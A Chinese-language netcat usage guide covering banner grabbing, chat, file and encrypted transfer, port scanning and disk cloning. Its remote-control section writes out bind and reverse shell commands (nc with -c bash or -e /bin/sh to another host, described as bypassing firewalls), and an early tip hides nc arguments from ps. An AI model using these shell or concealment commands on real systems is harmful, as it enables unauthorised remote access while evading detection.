神器netcat使用字典

目录

• 基础使用
  • 单向侦听
  • 双向聊天
  • 日常习惯
• 拓展使用
  • 正/反向域名解析
  • 传输⽂件/目录；加密传输
  • 端口扫描，获取banner信息
  • 远程克隆硬盘
  • 远控

基础使用

1.最简单的单向使用

使用：B（客户端） ”nc 主机名/IP 端口号/服务名"
前提：A主机打开了端口（任何对外服务的端口），B主机使用nc命令连接。
示例：

• nmap查看到172.16.70.140开了22端口，通常这是sshd的服务端口，nc上去看看（结果不一定准确）：

nc 172.16.70.140 22
SSH-2.0-OpenSSH_4.3

• 使用主机名也可以，这次我们加一个 -v 参数：

nc -v g.cn 80
Connection to g.cn 80 port [tcp/http] succeeded!

• 端口号可以不用数字，用 /etc/services 里面的服务名来代替知名端口号，不是所有的系统自带nc都支持：

nc dev3-140 ssh
SSH-2.0-OpenSSH_4.3

2.简单双向使用(chat)

A服务端：nc -lp 端口号
B客户端：nc -nv Aip A端口号
实现双向文本传输

3.隐藏命令行参数（培养日常使用习惯）

如果没有提供命令行参数，NetCat会提示你从标准输入来输入命令参数，然后NetCat会在内部解析输入。用这种办法输入命令式参数，可以用来防止借助“ps”来查看你的命令行参数。示例：

• nc
  Cmd line: -l 1234

此时我们在系统上用ps命令查看nc的进程，是看不到nc的参数的。如果我们直接在命令行写上参数，ps就能看到命令行参数了。

• nc -l 1234
  // 上面命令我们一般能用ps命令查看到类似下面的信息。
• ps aux|grep nc
  root 7332 0.0 0.0 1772 536 pts/4 S+ 10:38 0:00 nc -l 1234

拓展使用

1.正/反向域名解析

主机参数可以是一个名字或一个IP地址。

• -n，接受IP地址，不再对计算机的名字或域名进行解析。
• 没有-n，加上-v，NetCat可进行正/反向域名解析，并警告the all-too-common problem of mismatched name in DNS。这会耗费稍多一点时间，但在某些情况下会有用处。如，你想知道某个IP的主机名，NetCat可省却你手工查找的时间。
• A机器使用参数运行nc：

/data/bin/nc -l 1234
...
B机器连接：
nc -v dev3-168 1234
Connection to dev3-168 1234 port [tcp/search-agent] succeeded!
...
接着在B机器输入任何字符串并按Enter键，甲机器都能收到。

上面dev3-168是我的域中一个机器名，-v参数和-n参数都对主机名解析。都是-v参数可以通过ip反向解析出主机名。示例：

• nc -v 172.16.70.140 1234
  dev3-140.dev.cn.tlan [172.16.70.140] 1234 (?) open

2.传输⽂件/目录

• 传输单个⽂件

A：nc -lp 333 > 1.mp4
B：nc -nv 1.1.1.1 333 < 1.mp4 –q 1

或反向：

A：nc -q 1 -lp 333 < a.mp4
B： nc -nv 1.1.1.1 333 > 2.mp4

• 传输目录(多个文件)
  原理:输出端打包压缩包传输，输入端解包。

A：tar -cvf - dir_name | nc -lp 333 –q 1
B：nc -nv 1.1.1.1 333 | tar -xvf –

或使用bzip2或者其他工具压缩

A：tar -cvf – dir_name | bzip2 -z | nc -l 1567
B：nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

• 加密传⽂件

A：nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > file.txt
B： mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

或：

A：nc localhost 333 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
B：mcrypt –flush –bare -F -q -m ecb < file.txt | nc -lp 333

3.端口扫描

nc -nvz 1.1.1.1 1-65535

nc –vnzu 1.1.1.1 1-1024

默认是TCP模式，-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接， 不进行数据交换
v 参数指使用冗余选项（即详细输出）
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

命令会打印21到25 所有开放的端口。Banner是一个文本，Banner是一个你连接的服务发送给你的文本信息。可作为基础扫描，Banner信息可被修改，结果不一定准确。

4.远程克隆硬盘

A： nc -lp 333 | dd of=/dev/sda
B： dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

dd是一个从磁盘读取原始数据的工具，我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中，它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区，我们可以根据我们系统root分区的位置，更改sda 为sda1，sda2.等等。

5.远控（弹出shell）

正向：

A：nc -lp 333 -c bash
B：nc 1.1.1.1 333

反向（绕过防火墙）：

A：nc -lp 333
B：nc 1.1.1.1 333 -c bash

• 注：Windows⽤户把bash改成cmd；

6.补充说明

Nc缺乏加密和⾝份验证的能⼒
Ncat包含于nmap⼯具包中

A：ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B：ncat -nv 1.1.1.1 333 --ssl

7.个别参数详解

• v显示详细连接信息
  -v 参数可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次，则显示的信息会更多一些。如果-v参数没有出现，则NetCat将默默地工作，至到出现错误为止。

• w设定建立链接时间
  -w num
  [root@dev3-140 opt]# nc -vvv g.cn 80 -w 1 //1秒后断开连接
  Connection to g.cn 80 port [tcp/http] succeeded!
  [root@dev3-140 opt]# nc -vvv g.cn 80 -w 2 //2秒
  Connection to g.cn 80 port [tcp/http] succeeded!

• p绑定端口
  " -p 端口 " 来绑定本地端口。除了因权限限制或端口已经使用外，-p可以绑定任何端口。Root用户可以绑定保留的1024以内的端口。如果不用-p指定端口，则使用系统给定的未使用的端口。

• l作为服务器
  -l 参数可以使NetCat以服务器状态运行，即侦听模式。
  nc -l -p 1234 [remote hostname] [remote port] 可以用来指定入连的主机和端口，如果申请连接的主机或端口不符指定，则会断开连接。

A(1.1.1.1)：nc -l -p 333 1.1.1.2 33
B(1.1.1.2)：nc 1.1.1.1 333 -p 33

• e执行指定程序
  -e 参数后面跟一可执行程序的名称，当一个连接（入或出）被建立时，这个程序被运行。需要说明的是，-e后的程序不能从NetCat的命令行接收参数，如果有参数要传递，可能需要一个脚本。通常linux的发行版是不带这个参数支持的，可以自己编译，编译时置-DGAPING_SECURITY_HOLE，则-e参数被NetCat支持。

A: nc
Cmd line: -l -p 333 1.1.1.2 33 -e /bin/sh
B：nc 1.1.1.1 -p 33
ls ---> 这是传递给1.1.1.1上/bin/sh的指令